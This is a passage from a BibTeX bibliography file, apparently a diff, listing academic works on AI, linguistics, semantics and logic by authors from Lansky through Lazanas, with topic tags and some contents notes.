{670--674}, + address = {San Mateo, California}, + topic = {planning;multiagent-planning;} +} + +@article{ lansky:1998a, + author = {Amy L. Lansky}, + title = {Localized Planning with Action-Based Constraints}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {49--136}, + topic = {planning-algorithms;planning-systems;partitioned-search;} + } + +@article{ lapata:2002a, + author = {Maria Lapata}, + title = {The Disambiguation of Nominalizations}, + journal = {Computational Linguistics}, + year = {2002}, + volume = {28}, + number = {3}, + pages = {357--388}, + topic = {compound-nouns;nominal-constructions;} + } + +@techreport{ lapierre:1990a, + author = {Serge Lapierre}, + title = {A Functional Partial Semantics for Intensional Logic}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--90--12}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {intensional-logic;truth-value-gaps;partial-logic;} + } + +@article{ lapointe:1986a, + author = {Steven Lapointe}, + title = {Review of {\it The Vastness of Natural Language}, + by D. Terence Langendoen and Paul M. Postal}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {2}, + pages = {225--243}, + xref = {Review of langendoen-postal:1984a.}, + topic = {philosophy-of-language;} + } + +@book{ lappin:1981a, + author = {Shalom Lappin}, + title = {Sorts, Ontology, and Metaphor: The Semantics of Sortal + Structure}, + publisher = {Walter de Gruyter}, + year = {1981}, + address = {Berlin}, + ISBN = {3110083094}, + topic = {metaphor;nl-semantics;nl-semantic-types;} + } + +@article{ lappin:1982a, + author = {Shalom Lappin}, + title = {On the Pragmatics of Mood}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {4}, + number = {4}, + pages = {559--578}, + topic = {nl-mood;pragmatics;speech-acts;} + } + +@article{ lappin-reinhart:1988a, + author = {Shalom Lappin and Tanya Reinhart}, + title = {Presuppositional Effects of Strong Determiners}, + journal = {Linguistics}, + year = {1988}, + volume = {26}, + pages = {1021--1037}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@article{ lappin-francez:1994a, + author = {Shalom Lappin and Nissim Francez}, + title = {E-Type Pronouns, {I}-Sums, and Donkey Anaphora}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {4}, + pages = {391--428}, + topic = {anaphora;donkey-anaphora;} + } + +@book{ lappin:1996a, + editor = {Shalom Lappin}, + title = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + contentnote = {TC: + 1. Barbara H. Partee, "The Development of Formal Semantics in + Linguistic Theory", pp. 11--38 + 2. Edward L. Keenan, "The Semantics of Determiners", pp. 41--63 + 3. Robin Cooper, "The Role of Situations in Generalized + Quantifiers", pp. 65--86 + 4. Paulene Jacobson, "The Syntax/Semantics Interface in + Categorial Grammar", pp. 89--116 + 5. Robert Fiengo and Robert May, "Anaphora and + Identity", pp. 117--144 + 6. Shalom Lappin, "The Interpretation of Ellipsis" + 7. Jeroen Groenendijk and Martin Stockhof and Frank Veltman, + "Coreference and Modality", pp. 179--213 + 8. Craige Roberts, "Anaphora in Intensional Contexts" + 9. Jean Mark Gawron, "Quantification, Quantificational Domains and + Dynamic Logic", pp. 247--267 + 10. Mats Rooth, "Focus" + 11. Lawrence R. Horn, "Presupposition and Implicature", pp. 299--319 + 12. William A. Ladusaw, "Negation and Polarity Items", pp. 321--341 + 13. M\"rvet En\c, "Tense and Modality", 345--358 + 14. James Higginbotham, "The Semantics of Questions", pp. 361--383 + 15. Jonathan Ginzburg, "Interrogatives: Questions, Facts, and + Dialogue", pp. 385--482 + 16. Fred Landman, "Plurality", pp. 425--457 + 17. John Nerbonne, "Computational Semantics---Linguistics and + Processing", pp. 461--484 + 18. Beth Levin and Malka {Rappaport Hovav}, "Lexical Semantics + and Syntactic Structure", 487--507 + 19. Gila Y. Sher, "Semantics and Logic", pp. 511--537 + 20. Ray Jackendoff, "Semantics and Cognition", pp. 539--559 + 21. Ruth M. Kempson, "Semantics, Pragmatics, and Natural-Language + Interpretation", pp. 561--598 + 22. Jerrold J. Katz, "Semantics in Linguistics and Philosophy: An + Intentionalist Perspective", pp. 559--616 + }, + topic = {nl-semantics;semantics-survey;} + } + +@article{ lappin:2000a, + author = {Shalom Lappin}, + title = {An Intensional Parametric Semantics for Vague + Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {6}, + pages = {599--620}, + topic = {nl-quantifiers;vagueness;} + } + +@incollection{ lappin_s:1996a, + author = {Shalom Lappin}, + title = {The Interpretation of Ellipsis}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {145--175}, + topic = {nl-semantics;ellipsis;} + } + +@incollection{ larichev:1977a, + author = {O.I. Larichev}, + title = {A Practical Methodology of Solving Multicriterion + Problems with Subjective Criteria}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {197--208}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@book{ larijani:1994a, + author = {L. Casey Larijani}, + title = {The Virtual Reality Primer}, + publisher = {McGraw-Hill}, + year = {1994}, + address = {New York}, + ISBN = {0070364176}, + topic = {virtual-reality;} + } + +@article{ larkin-simon_h:1987a1, + author = {Jill Larkin and Herbert Simon}, + title = {Why a Diagram Is (Sometimes) Worth 10000 Words}, + journal = {Cognitive Science}, + year = {1987}, + volume = {11}, + pages = {65--69}, + xref = {Republication: larkin-simon_h:1987a2.}, + missinginfo = {number}, + topic = {diagrams;cognitive-psychology;visual-reasoning;} + } + +@incollection{ larkin-simon_h:1987a2, + author = {Jill Larkin and Herbert Simon}, + title = {Why a Diagram Is (Sometimes) Worth 10000 Words}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {69--109}, + address = {Cambridge, Massachusetts}, + xref = {Republication of larkin-simon_h:1987a1.}, + topic = {diagrams;cognitive-psychology;visual-reasoning;} + } + +@article{ larrosa-etal:1999a, + author = {Javier Larosa and Pedro Meseguer and Thomas Schiex}, + title = {Maintaining Reversible {DAC} for Max-{CSP}}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {1}, + pages = {149--163}, + topic = {constraint-satisfaction;} + } + +@book{ larson_ja:1992a, + author = {James A. Larson}, + title = {Interactive Software: Tools for Building Interactive User + Interfaces}, + publisher = {Yourdon Press}, + year = {1992}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0139240446}, + topic = {HCI;} + } + +@article{ larson_k-sandholm:2001a, + author = {Keith Larson and Tuomas Sandholm}, + title = {Bargaining with Limited Computation: Deliberation + Equilibrium}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {132}, + number = {2}, + pages = {183--217}, + topic = {bargaining-theory;limited-rationality;} + } + +@article{ larson_rk:1982a, + author = {Richard K. Larson}, + title = {A Note on the Interpretation of Adjoined Relative Clauses}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {5}, + number = {4}, + pages = {473--482}, + topic = {nl-semantics;syntax-semantics-interface; + semantic-compositionality;} + } + +@article{ larson_rk-cooper_r:1982a, + author = {Richard K. Larson and Robin Cooper}, + title = {The Syntax and Semantics of {\it When\/}-Questions}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {1}, + pages = {155--169}, + topic = {nl-semantics;interrogatives;when-questions;} + } + +@article{ larson_rk:1988a, + author = {Richard K. Larson}, + title = {Implicit Arguments in Situation Semantics}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {2}, + pages = {169--201}, + topic = {situation-semantics;} + } + +@article{ larson_rk:1988b, + author = {Richard K. Larson}, + title = {Scope and Comparatives}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {1}, + pages = {1--26}, + topic = {comparative-constructions;nl-semantics;} + } + +@incollection{ larson_rk:1990a, + author = {Richard K. Larson}, + title = {Semantics}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {23--42}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;} + } + +@book{ larson_rk:1992a, + editor = {Richard K. Larson and James Higginbotham and Sabine + Iatridou and Utpal Lahiri}, + title = {Control and Grammar}, + publisher = {Kluwer Academic Publishers}, + year = {1992}, + address = {Dordrecht}, + ISBN = {0792316924 (hb)}, + topic = {nl-syntax;control;} +} + +@article{ larson_rk-ludlow:1993a1, + author = {Richard K. Larson and Peter Ludlow}, + title = {Interpreted Logical Forms}, + journal = {Synth\'ese}, + year = {1990}, + volume = {85}, + pages = {305--356}, + xref = {Republication: larson_rk-ludlow:1993a2.}, + topic = {logical-form;syntactic-attitudes;} + } + +@incollection{ larson_rk-ludlow:1993a2, + author = {Richard K. Larson and Peter Ludlow}, + title = {Interpreted Logical Forms}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {993--1039}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: larson_rk-ludlow:1993a1.}, + topic = {logical-form;syntactic-attitudes;} + } + +@book{ larson_rk-segal:1995a, + author = {Richard Larson and Gabriel Segal}, + title = {Knowledge of Meaning}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;} + } + +@book{ larson_rk:1996a, + author = {Richard K. Larson}, + title = {Syntactica: The Semantics Lab}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0262621061}, + acontentnote = {Abstract: + Software application tool design for undergraduate students to + study natural language structure. Provides interface for creating + grammars, viewing the structures that they assign to natural + language expressions, and for transforming those structures by + syntactic operations. } , + topic = {syntax-intro;} + } + +@inproceedings{ larssen_s-etal:2000a, + author = {Staffan Larssen and Peter Ljungl\"of and Robin Cooper and + Elisabet Engdahl and Stina Ericsson}, + title = {{GoDiS}---An Accommodating Dialogue System}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {7--10}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;accommodation;} + } + +@incollection{ larsson-zaenan:2000a, + author = {Staffan Larsson and Annie Zaenan}, + title = {Document Transformations and Information States}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {112--120}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;intelligent-tutoring;} + } + +@article{ larsson_je:1996a, + author = {Jan Eric Larsson}, + title = {Diagnosis Based on Explicit Means-End Models}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {29--93}, + topic = {diagnosis;model-based-reasoning;} + } + +@inproceedings{ lascarides-asher:1991a, + author = {Alex Lascarides and Nicholas Asher}, + title = {Discourse Relations and Defeasible Knowledge}, + booktitle = {Proceedings of the 29th Meeting of the Association for + Computational Linguistics}, + year = {1991}, + pages = {55--63}, + organization = {Association for Computational Linguistics}, + topic = {common-sense-entailment;discourse;pragmatics;} + } + +@article{ lascarides:1992a, + author = {Alex Lascarides}, + title = {The Progressive and the Imperfective Paradox}, + journal = {Synt\`hese}, + year = {1992}, + volume = {87}, + number = {6}, + pages = {401--447}, + topic = {nl-semantics;tense-aspect;progressive;imperfective-paradox; + nm-ling;} + } + +@inproceedings{ lascarides-etal:1992a, + author = {Alex Lascarides and Nicholas Asher and Jon + Oberlander}, + title = {Inferring Discourse Relations in Context}, + booktitle = {Proceedings of the Thirtieth Annual Meeting of the + Association for Computational Linguistics}, + year = {1992}, + editor = {Henry S. Thompson}, + pages = {1--8}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse-relations;context;} + } + +@incollection{ lascarides-oberlander:1992a, + author = {Alex Lascarides and Jon Oberlander}, + title = {Abducing Temporal Discourse}, + booktitle = {Aspects of Automated Natural Language Generation}, + publisher = {Springer Verlag}, + year = {1992}, + editor = {Robert Dale and Eduard Hovy and D. R\"ossner and O. Stock}, + pages = {167--182}, + address = {Berlin}, + missinginfo = {E's 1st names.}, + topic = {abduction;nl-generation;pragmatics;} + } + +@article{ lascarides:1993a, + author = {Alex Lascarides}, + title = {Knowledge, Causality and Temporal Representation}, + journal = {Linguistics}, + year = {1993}, + volume = {30}, + number = {5}, + pages = {941--973}, + topic = {causality;temporal-reasoning;} + } + +@article{ lascarides-asher:1993a, + author = {Alex Lascarides and Nicholas Asher}, + title = {Temporal Interpretation, Discourse Relations and Common Sense + Entailment}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {5}, + pages = {437--493}, + topic = {common-sense-entailment;nm-ling;discourse;pragmatics; + temporal-reasoning;} + } + +@inproceedings{ lascarides-asher:1993c, + author = {Alex Lascarides and Nicholas Asher}, + title = {A Semantics and Pragmatics for the Pluperfect}, + booktitle = {Proceedings of the European Chapter of the Association + for Computational Linguistics (EACL93)}, + year = {1993}, + pages = {250--259}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + missinginfo = {editor}, + topic = {tense-aspect;narrative-representation;narrative-understanding; + nm-ling;} + } + +@article{ lascarides-oberlander:1993a, + author = {Alex Lascarides and Jon Oberlander}, + title = {Temporal Coherence and Defeasible Knowledge}, + journal = {Theoretical Linguistics}, + year = {1993}, + volume = {19}, + number = {1}, + pages = {1--37}, + topic = {common-sense-entailment;nm-ling;discourse;pragmatics;} + } + +@article{ lascarides-oberlander:1993b, + author = {Alex Lascarides and Jon Oberlander}, + title = {Temporal Coherence and Defeasible Knowledge}, + journal = {Theoretical Linguistics}, + year = {1993}, + volume = {19}, + number = {1}, + pages = {1--35}, + topic = {tense-aspect;discourse-coherence;nm-ling;common-sense-entailment; + nm-ling;discourse;pragmatics;} + } + +@inproceedings{ lascarides-oberlander:1993c, + author = {Alex Lascarides and Jon Oberlander}, + title = {Temporal Connectives in a Discourse Context}, + booktitle = {Proceedings of the European Chapter of the Association + for Computational Linguistics (EACL93)}, + year = {1993}, + pages = {260--268}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Mahweh, New Jersey}, + missinginfo = {editor}, + topic = {tense-aspect;narrative-representation;narrative-understanding; + nm-ling;pragmatics;} + } + +@unpublished{ lascarides-etal:1994a, + author = {Alex Lascarides and Ted Briscoe and Nicholas Asher + and Ann Copestake}, + title = {Proofs for Persistent Default Unification}, + year = {1994}, + note = {Unpublished manuscript.}, + topic = {default-unification;nml;} + } + +@article{ lascarides-asher:1995a, + author = {Alex Lascarides and Nicholas Asher}, + title = {Lexical Disambiguation in a Discourse Context}, + journal = {Journal of Semantics}, + year = {1995}, + volume = {12}, + number = {1}, + pages = {69--108}, + topic = {common-sense-entailment;discourse;pragmatics;} + } + +@inproceedings{ lascarides-copestake:1995a, + author = {Alex Lascarides and Ann Copestake}, + title = {The Pragmatics of Word Meaning}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {204--221}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {lexical-semantics;pragmatics;discourse; + nl-interpretation;pragmatics;} + } + +@article{ lascarides-etal:1995a, + author = {Alex Lascarides and Ann Copestake and Ted Briscoe}, + title = {Ambiguity and Coherence}, + journal = {Journal of Semantics}, + year = {1996}, + volume = {13}, + number = {1}, + pages = {41--65}, + missinginfo = {number}, + contentnote = {Deals with the interface between pragmatics and + lexical semantics.}, + topic = {ambiguity;nl-polysemy;lexical-semantics;pragmatics; + discourse-coherence;pragmatics;} + } + +@article{ lascarides-etal:1996a, + author = {Alex Lascarides and Ted Briscoe and Nicholas Asher and + Ann Copestake}, + title = {Order Independent and Persistent Typed Default Unification}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {1}, + pages = {1--89}, + topic = {nm-ling;unification;default-unification;} + } + +@article{ lascarides-etal:1996b, + author = {Alex Lascarides and Ann Copestake and Ted Briscoe}, + title = {Ambiguity and Coherence}, + journal = {Journal of Semantics}, + year = {1996}, + volume = {13}, + number = {1}, + pages = {41--65}, + topic = {ambiguity;discourse-coherence;pragmatics;} + } + +@unpublished{ lascarides-asher:1998a, + author = {Alex Lascarides and Nicholas Asher}, + title = {The Semantics and Pragmatics of Presupposition}, + year = {1998}, + note = {Unpublished manuscript, University of Edinburgh}, + topic = {presupposition;discourse;semantic-underspecification; + nm-ling;pragmatics;} + } + +@article{ lascarides-copestake:1998a, + author = {Alex Lascarides and Ann Copestake}, + title = {Pragmatics and Word Meaning}, + journal = {Journal of Linguistics}, + year = {1998}, + volume = {34}, + number = {2}, + missinginfo = {pages}, + topic = {lexical-semantics;pragmatics;discourse; + nl-interpretation;pragmatics;} + } + +@article{ lascarides-copestake:1999a, + author = {Alex Lascarides and Ann Copestake}, + title = {Pragmatics and Word Meaning}, + journal = {Journal of Linguistics}, + year = {1999}, + volume = {34}, + number = {2}, + pages = {55--105}, + topic = {pragmatics;lexical-semantics;} + } + +@article{ lascarides-copestake:1999b, + author = {Alex Lascarides and Ann Copestake}, + title = {Default Representation in Constraint-Based Frameworks}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {1}, + pages = {55--105}, + topic = {default-unification;nm-ling;} + } + +@inproceedings{ lasersohn:1987a, + author = {Peter Lasersohn}, + title = {Collective Nouns and Distributive Determiners}, + booktitle = {Papers from the Twenty-Third Regional Meeting of the + {C}hicago Linguistic Society}, + year = {1975}, + editor = {Robin Grossman and Jim San and Tim Vance}, + pages = {215--229}, + organization = {Chicago Linguistic Society}, + publisher = {Chicago Linguistic Society}, + address = {Goodspeed Hall, 1050 East 59th Street, Chicago, Illinois}, + topic = {nl-semantics;plural;} + } + +@article{ lasersohn:1989a, + author = {Peter Lasersohn}, + title = {On the Readings of Plural Noun Phrases}, + journal = {Linguistic Inquiry}, + volume = {20}, + number = {1}, + pages = {130--134}, + year = {1989}, + xref = {Commentary: gillon:1990b.}, + topic = {plural;} + } + +@article{ lasersohn:1990a, + author = {Peter Lasersohn}, + title = {Group Action and Spatio-Temporal Proximity}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {2}, + pages = {179--206}, + topic = {group-action;} + } + +@book{ lasersohn:1990b, + author = {Peter Lasersohn}, + title = {A Semantics for Groups and Events}, + publisher = {Garland Publishing Company}, + year = {1990}, + address = {New York}, + topic = {group-action;} + } + +@article{ lasersohn:1992a, + author = {Peter Lasersohn}, + title = {Generalized Conjunction and Temporal Modification}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {4}, + pages = {381--410}, + topic = {coordination;nl-semantic-types;} + } + +@inproceedings{ lasersohn:1993a, + author = {Peter Lasersohn}, + title = {Lexical Distributivity and Implicit Arguments}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {145--161}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-quantifier-scope;events;thematic-roles;} + } + +@article{ lasersohn:1993b, + author = {Peter Lasersohn}, + title = {Existence Presuppositions and Background Knowledge}, + journal = {Journal of Semantics}, + year = {1993}, + volume = {10}, + pages = {113--122}, + topic = {presupposition;} + } + +@book{ lasersohn:1995a, + author = {Peter Lasersohn}, + title = {Plurality, Conjunction and Events}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + topic = {plural;events;nl-semantics;} + } + +@incollection{ lasersohn:1996a, + author = {Peter Lasersohn}, + title = {Adnominal Conditionals}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {VI}}, + year = {1996}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + missinginfo = {editors, pages}, + topic = {conditinals;nominal-constructions;} + } + +@article{ lasersohn:1997a, + author = {Peter Lasersohn}, + title = {Bare Plurals and Donkey Anaphora}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {1}, + pages = {79--86}, + topic = {plural;donkey-anaphora;} + } + +@article{ lasersohn:1998a, + author = {Peter Lasersohn}, + title = {Generalized Distributivity Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {1}, + pages = {83--93}, + topic = {plural;nl-quantifiers;} + } + +@incollection{ lasersohn:1998b, + author = {Peter Lasersohn}, + title = {Events in the Semantics of Collectivizing Adverbials}, + booktitle = {Events and Grammar}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Susan Rothstein}, + pages = {273--292}, + address = {Dordrecht}, + topic = {events;adverbs;nl-semantics;} + } + +@article{ laskey-lehner:1989a, + author = {Kathryn Blackmond Laskey and Paul E. Lehner}, + title = {Assumptions, Beliefs and Probabilities}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {1}, + pages = {65--77}, + acontentnote = {Abstract: + A formal equivalence is demonstrated between Shafer-Dempster + belief theory and assumption-based truth maintenance with a + probability calculus on the assumptions. This equivalence means + that any Shafer-Dempster inference network can be represented as + a set of ATMS justifications with probabilities attached to + assumptions. A proposition's belief is equal to the probability + of its label conditioned on label consistency. An algorithm is + given for computing these beliefs. When the ATMS is used to + manage beliefs, non-independencies between nodes are + automatically and correctly accounted for. The approach + described here unifies symbolic and numeric approaches to + uncertainty management, thus facilitating dynamic construction + of quantitative belief arguments, explanation of beliefs, and + resolution of conflicts. } , + contentnote = {Shows that any Dempster-Shafer theory can be + represented as a set of ATMS justifications with probs + attached to assumptions.}, + topic = {Dempster-Shafer-theory;truth-maintenance;qualitative-probability; + probabilistic-reasoning;truth-maintenance;} + } + +@incollection{ lasnik:1990a, + author = {Howard Lasnik}, + title = {Syntax}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {1--21}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;} + } + +@book{ latombe:1978a, + editor = {Jean-Claude Latombe}, + title = {Artificial Intelligence and Pattern Recognition in Computer + Aided Design: Proceedings of the {IFIP} Working Conference, Organized + by Working Group 5.2, Computer-aided Design, {G}renoble, {F}rance, March + 17--19, 1978}, + publisher = {North-Holland Publishing Co.}, + year = {1978}, + address = {Amsterdam}, + ISBN = {0444852298}, + xref = {Review: sproull:1980a.}, + topic = {computer-aided-design;pattern-matching;} + } + +@book{ latombe:1991a, + author = {Jean-Claude Latombe}, + title = {Robot Motion Planning}, + publisher = {Boston: Kluwer Academic Publishers}, + year = {1991}, + address = {Boston}, + ISBN = {0792391292}, + topic = {motion-planning;robotics;robot-navigation;} + } + +@article{ latombe-etal:1991a, + author = {Jean-Claude Latombe and Anthony Lazanas and Shashank Shekhar}, + title = {Robot Motion Planning with Uncertainty in Control and + Sensing}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {1}, + pages = {1--47}, + topic = {robotics;motion-planning;reasoning-about-uncertainty;} + } + +@incollection{ lau-ornaghi:1994a, + author = {Kung-Kiu Lau and Mario Ornaghi}, + title = {On Specification Frameworks and Deductive Synthesis of + Logic Programs}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {104--121}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@phdthesis{ lauer:1995a, + author = {Mark Lauer}, + title = {Designing Statistical Language Learners: Experiments on + Noun Compounds}, + school = {Department of Computing, Macquarie University}, + year = {1995}, + type = {Ph.{D}. Dissertation}, + address = {Sydney}, + topic = {statistical-nlp;compound-nouns;} + } + +@book{ laurel:1990a, + editor = {Brenda Laurel}, + title = {The Art of Human-Computer Interface Design}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1990}, + address = {Reading, Massachusetts}, + ISBN = {0201517973}, + topic = {HCI;} + } + +@article{ laurent:1973a, + author = {Jean-Pierre Laurent}, + title = {A Program that Computes Limits Using Heuristics to + Evaluate the Indeterminate Forms}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {2}, + pages = {69--94}, + topic = {computer-assisted-mathematics;} + } + +@article{ laurentini:2001a, + author = {Aldo Laurentini}, + title = {Topological Recognition of Polyhedral Objects from + Multiple Views}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {127}, + number = {1}, + pages = {31--55}, + topic = {shape-recognition;} + } + +@article{ lauriere:1978a, + author = {Jean-Louis Lauriere}, + title = {A Language and a Program for Stating and Solving + Combinatorial Problems}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {1}, + pages = {29--127}, + topic = {constraint-satisfaction;combinatorics;} + } + +@article{ lauth:1995a, + author = {Bernhard Lauth}, + title = {Inductive Inference in the Limit of Empirically + Adequate Theories}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {5}, + pages = {525--548}, + topic = {induction;} + } + +@book{ laux-wansing:1995a, + editor = {Armin Laux and Heinrich Wansing}, + title = {Knowledge and Belief in Philosophy and Artificial Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + address = {Berlin}, + topic = {epistemic-logic;propositional-attitudes;belief;} + } + +@incollection{ lave:1991a, + author = {Jean Lave}, + title = {Situating Learning in Communities of + Practice}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {63--82}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@article{ lavendhomme-lucas_t:2000a, + author = {Ren\'e Lavendhomme and Thierry Lucas}, + title = {Sequent Calculi and Decision Procedures for Weak Modal + Systems}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {1}, + pages = {121--145}, + topic = {proof-theory;modal-logic;decidability;} + } + +@incollection{ laver:1989a, + author = {John Laver}, + title = {Cognitive Science and Speech: A Framework for + Research}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {37--70}, + address = {Hillsdale, New Jersey}, + topic = {cognitive-science-general;speech-perception;phonetics;} + } + +@incollection{ lavid:2000a, + author = {Julia Lavid}, + title = {Contextual Constraints on Thematization in + Written Discourse: An Empirical Study}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {37--47}, + address = {Dordrecht}, + topic = {context;corpus-linguistics;theme/rheme;} + } + +@unpublished{ lavignon-shoham_y1:1990a, + author = {Jean-Fran\c{c}ois Lavignon and Yoav Shoham}, + title = {Temporal Automata}, + year = {1990}, + month = {August}, + note = {Unpublished manuscript, Computer Science Department, Stanford + University, Stanford, CA.}, + topic = {temporal-reasoning;special-purpose-automata;} + } + +@incollection{ lawler:1998a, + author = {John M. Lawler}, + title = {The Unix$^{\mbox{\tiny TM}}$ Language + Family}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {138--169}, + address = {London}, + topic = {unix;} + } + +@book{ lawler-dry:1998a, + editor = {John Lawler and Aristar Dry}, + title = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + contentnote = {TC: + 0. John M. Lawler and Helen Aristar Dry, "Introduction", + pp. 1--9 + 1. Gary F. Simons, "The Nature of Linguistic Data and + the Requirements of a Computing Environment + for Linguistic Research", pp. 10--25 + 2. Helen Aristar Dry and Anthony Rodrigues Aristar, "The + Internet: An Introduction", pp. 26--61 + 3. Henry Rogers, "Education", pp. 62--100 + 4. Susan Hockey, "Textual Databases", pp. 101--137 + 5. John M. Lawler, "The Unix$^{\mbox{\tiny TM}}$ Language + Family", pp. 138--169 + 6. Evan L. Antworth and J. Randolph Valentine, + "Software for Doing Field Linguistics", pp. 170--196 + 7. James E. Hoard, "Language Understanding and the Emerging + Alignment of Linguistics and Natural Language + Processing", pp. 197--230 + 8. Samuel Bayer and John Aberdeen and John Burger and Lynette + Hirschman and David Palmer and Marc Vilain, "Theoretical + and Computational Linguistics: Toward a Mutual + Understanding", pp. 231--255 + }, + topic = {linguistics-and-computation;} + } + +@incollection{ lawler-dry:1998b, + author = {John M. Lawler and Helen Aristar Dry}, + title = {Introduction}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {1--9}, + address = {London}, + topic = {linguistics-and-computation;} + } + +@article{ lazanas-latombe:1995a, + author = {Anthony Lazanas and 